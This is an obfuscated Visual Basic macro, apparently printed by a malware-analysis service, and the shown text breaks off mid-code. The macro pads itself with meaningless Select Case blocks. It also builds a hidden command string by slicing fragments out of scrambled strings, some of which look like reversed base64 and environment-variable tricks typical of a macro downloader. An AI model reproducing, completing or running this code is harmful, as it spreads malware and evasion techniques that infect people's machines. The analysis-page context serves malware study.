pEDFOjaUrT = CtOKNi("R5uIn54aqZQZAYGA19kPi@", 6 + 0, 7 + 0)
Select Case znXGE
Case 94518
oBvCS = ChrB(uvhWE)
kPzGUf = wiiGCr
Case 63786
ocWdn = Rnd(bTzVY)
WwNFm = Cos(SUrwjD)
End Select
Select Case hASJZ
Case 58386
EzAnrA = ChrB(AHCiY)
CdwwaY = CQjwI
Case 7680
bBrqoG = Rnd(UlXIYW)
psnkOQ = Cos(DBTjA)
End Select
LOlKQiLZ = CtOKNi("F5uIn54a9.OAMGAjBgMAADAwAAOAMDAyAANAkDA2AwNAQGAmBwYAQGA1AQOAMGAmdP", 3 + 0, 54 + 0)
Select Case YoQEin
Case 28737
zPMqRi = ChrB(sbqBCX)
XvLtn = XzYHnf
Case 52999
UTdlHz = Rnd(dauwlY)
adhwD = Cos(QUskz)
End Select
Select Case jYFdH
Case 70964
ctABEp = ChrB(mQppiB)
iQnwnf = HNABAb
Case 93420
VTYcKJ = Rnd(XiPphB)
SJvma = Cos(HRhUF)
End Select
HItAjoOUXb = CtOKNi("iJiAOAQGAjBANAEDA3AgYAUGAyAQNAMGAjBgMAYGAjBgZAEGAmBka.Kj9", 7 + 0, 48 + 0)
Select Case UfAAE
Case 25826
KuWRBq = ChrB(ptJjww)
rvqFNB = TDlDXA
Case 78855
WiLbn = Rnd(Vvstvo)
OIBWH = Cos(ckKuq)
End Select
faDwmuM = tlRODjSr + zrqkNipw + QJDWozs + Chr(34) + WfVWKzWzzMS + wLTiaJmE + SzfIAippR + QVhlTjIpU + WhGzHiQQp + EzNTnXj + NGRltlz + DpKaD + SkjqtSCJMcK + NkTjHwuZV + pEDFOjaUrT + YjKtmzHuj + ifIAMsfLP + JotohvsW + ijOjdfuuiMz + NNubjBiSm + mvQdW + hAqiOrwojia + bAKwtdhvVm + LOlKQiLZ + OaaHv + ZbOKhYJRfiz + PbzjKdimNi + kIQNjNTCKz + jzOCIShR + popMmt + HItAjoOUXb + iarjsAUkS + WOCcchviuJU + GYSPFqCd + iVLEJLXvvI + VBVpda + EWcJTXwY + VXROVkPC + oncofJTVANw + CqnwLlCLVml + dzLdG + qOcUWna + oAJMo + UhctVQn + wHcKisd + ahaSWHjsHfW + CmwPJidATvD
Select Case lFvkh
Case 31587
MdMkUP = ChrB(ziLiOF)
iscfzw = GkMhY
Case 97708
mvzjN = Rnd(kzJvB)
VzsoT = Cos(MUCNSF)
End Select
End Function
Attribute VB_Name = "GKsFprkIdVw"
Function QJDWozs()
On Error Resume Next
Select Case RusCqO
Case 19080
DTnvQ = ChrB(twFzDw)
jnLur = SGOOi
Case 18139
NwFJG = Rnd(ioYws)
kfRHAa = Cos(QfhHjH)
End Select
ijOjdfuuiMz = CtOKNi("Etw!%CRJFfpf%!!J,2b", 5 + 0, 12 + 0)
Select Case wrRpFJ
Case 72322
Ozswrs = ChrB(UKrTz)
kAzOn = tsfoZB
Case 13450
rXjrj = Rnd(sQUPE)
FBLXQM = Cos(rNqSa)
End Select
Select Case nAGBO
Case 35864
IlRmF = ChrB(WuNGSZ)
bqGcu = WipwI
Case 11409
ouOFz = Rnd(zNbUlj)
dUXMXw = Cos(fuzuiG)
End Select
DpKaD = CtOKNi("ibznQo%!!%ViXLGY", 7 + 0, 7 + 0)
Select Case viSmJ
Case 62399
DcfIGj = ChrB(tzVUt)
dCGdb = IctwU
Case 52320
fEfIic = Rnd(casrE)
RXlub = Cos(kmdtc)
End Select
Select Case iAJcjS
Case 89874
NzKbbp = ChrB(XWsaF)
PhsPr = jYShI
Case 75526
fQqiCM = Rnd(dCtwY)
WWssSL = Cos(tSTQNs)
End Select
NNubjBiSm = CtOKNi("wIjKRp=%WfbJZjTAzlk Fh", 4 + 0, 13 + 0)
Select Case OIvPC
Case 77547
JljrqN = ChrB(ZNnuqH)
KfaOwG = NwaRKF
Case 3355
Hiwkv = Rnd(lLAcw)
UFfVWk = Cos(DdVAF)
End Select
Select Case JIvhi
Case 4942
ShqOjj = ChrB(bZCurW)
BipPM = cCvvZ
Case 99428
KfbVA = Rnd(VXjdR)
UimCL = Cos(zkzIi)
End Select
wLTiaJmE = CtOKNi("wfzZCRXuH%!!%PRiOiu@At", 5 + 0, 16 + 0)
Select Case RSpWQ
Case 72515
pjdVvw = ChrB(toApVA)
rrhqz = pbOGCB
Case 41220
iMzGu = Rnd(boqJqE)
MJjKmd = Cos(aaIjQB)
End Select
Select Case wTFNAD
Case 65365
mVwzS = ChrB(spblww)
AkcTE = sDiAmz
Case 21113
HvIpwW = Rnd(wWjrP)
orbiM = Cos(Zwjdtv)
End Select
kIQNjNTCKz = CtOKNi("pdaOwPZEqZXqfiRtunw", 3 + 0, 12 + 0)
Select Case pQHUM
Case 98640
jltSw = ChrB(aIDNsc)
iDMDSa = lzYRP
Case 87630
jlpBXs = Rnd(WDzIl)
GRsVl = Cos(GjmED)
End Select
Select Case cJtqzL
Case 2446
atQSN = ChrB(IsdfKt)
CjazSp = GBzfI
Case 59523
cvRVPR = Rnd(HQinDb)
wwfZiL = Cos(dTrjW)
End Select
qOcUWna = CtOKNi("Kwje5uIn54a&&CIazi8i", 4 + 0, 8 + 0)
Select Case QYvkJi
Case 84857
wMKvcD = ChrB(PvMPOV)
CSFiT = wbZos
Case 54327
jVtdU = Rnd(KAmUiB)
fNYiR = Cos(TGVdf)
End Select
Select Case jiRww
Case 55081
SShzwI = ChrB(MJMKvB)
hPHzL = nWRiK
Case 67854
cRnhF = Rnd(NUdis)
IsTop = Cos(qmBzPK)
End Select
JotohvsW = CtOKNi("1w24z=%JjXauLiYJpiwW%b", 2 + 0, 16 + 0)
Select Case nUDwA
Case 98187
PDWvVf = ChrB(VoAEj)
vDPTi = FUwDdB
Case 56044
SFJYcj = Rnd(mEWYS)
XUwBu = Cos(vFjEkN)
End Select
Select Case HzvibP
Case 61094
fwojNw = ChrB(LwHUFP)
joNKwh = GqzaH
Case 96478
aqVuu = Rnd(tGaWC)
aSrmu = Cos(aVRHQ)
End Select
SzfIAippR = CtOKNi("Vp8KrKC% tG2Dj", 5 + 0, 6 + 0)
Select Case TwsYH
Case 83991
FASlH = ChrB(ZKCtaN)
HYHnPD = QhdvS
Case 50318
bvUUw = Rnd(OzXHjj)
VzYbr = Cos(aKurFJ)
End Select
Select Case PtdhK
Case 63373
zoJBu = ChrB(MRjtlv)
iQSUh = aYmif
Case 84125
tbEAT = Rnd(tzWilf)
jzBjnz = Cos(aWzaI)
End Select
ahaSWHjsHfW = CtOKNi("tG6iLwk% te5uIn54az", 2 + 0, 6 + 0)
Select Case GGtMFi
Case 19286
skMfZn = ChrB(MIlho)
XcXDuf = oXcdrT
Case 82940
DJZGVO = Rnd(NoEOLJ)
NNsUK = Cos(iWJKwd)
End Select
Select Case iXEdTu
Case 26952
WaItu = ChrB(jinIIM)
BMbof = Dzafj
Case 9474
bHacw = Rnd(idsWf)
jIOon = Cos(HzUhKc)
End Select
YjKtmzHuj = CtOKNi("wWD58d^e=%vKUYWinQo%N", 2 + 0, 14 + 0)
Select Case ndLUwu
Case 49457
jObDKM = ChrB(hfIqwb)
HoKnlb = quwwm
Case 16129
TJwbFY = Rnd(umkciO)
pYUfN = Cos(WWJIIz)
End Select
Select Case GZGniK
Case 41262
OkGcQp = ChrB(XzKdE)
FuQmwl = FwjWa
Case 76230
fdDKmh = Rnd(lzkoG)
hLMqJp = Cos(BfqAl)
End Select
oncofJTVANw = CtOKNi("wjFJSIucPaqZzKiXjpw1", 6 + 0, 13 + 0)
Select Case KXPAk
Case 2357
zhuvzq = ChrB(hUujw)
BdumsM = jqAnDY
Case 25751
mVwzm = Rnd(mzRQqS)
WjkKB = Cos(XjddHX)
End Select
Select Case mEwmac
Case 99229
vhpIk = ChrB(wYEjCj)
SCNpci = AFXqh
Case 22057
YBtXn = Rnd(iBFRcV)
GQYEI = Cos(OUCjww)
End Select
iVLEJLXvvI = CtOKNi("jFkX%Vo P", 2 + 0, 1 + 0)
Select Case aLqKza
Case 48630
ZWLIO = ChrB(EQwwM)
OSjjS = wzwWSw
Case 48386
DSKuRC = Rnd(CjuMwu)
JDFmkr = Cos(IcJsRi)
End Select
Select Case zXIMi
Case 29516
MYlCuY = ChrB(LfVGf)
qRtLU = dsDdno
Case 84683
mRNRm = Rnd(ZZzSw)
jrtUI = Cos(LPQhiw)
End Select
VXROVkPC = CtOKNi("3QPR0nzzTwJPF=%VVZLOlmOBdj", 3 + 0, 19 + 0)
Select Case AmFJuw
Case 27334
JRtRE = ChrB(GnRSb)
Kzlwi = GcczF
Case 76282
ZmmTQ = Rnd(TkHXa)
DEMFcz = Cos(CjiCA)
End Select
Select Case cqPls
Case 97720
paLIzF = ChrB(VijIzs)
kmjDB = UPdLMr
Case 3413
ShdhO = Rnd(fsbojA)
MBtMP = Cos(hsEji)
End Select
EzNTnXj = CtOKNi("pHd8@AGX", 2 + 0, 1 + 0)
Select Case KSZwAv
Case 12402
aDwGb = ChrB(JsrLsT)
WIOjw = mUaOwu
Case 82267
QFwat = Rnd(zqIEml)
vpAsqO = Cos(oJLMCw)
End Select
Select Case VncUN
Case 29988
QGwsT = ChrB(PfJRAO)
RfQKuv = ruTiwt
Case 52370
pbFGb = Rnd(SLpzr)
pBhXfp = Cos(vqWSZR)
End Select
NGRltlz = CtOKNi("Q@5uIn54a1ll=%CRJFfpf% te0wa", 4 + 0, 15 + 0)
Select Case RVnRva
Case 17067
phLun = ChrB(zTaLC)
wpNvz = TfTSJ
Case 61751
zFwYYD = Rnd(TjLzM)
CBwWwG = Cos(zdbIr)
End Select
Select Case WdDYtH
Case 61602
ZBiUwK = ChrB(FLPwtf)
wFJmw = IFVtG
Case 8631
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.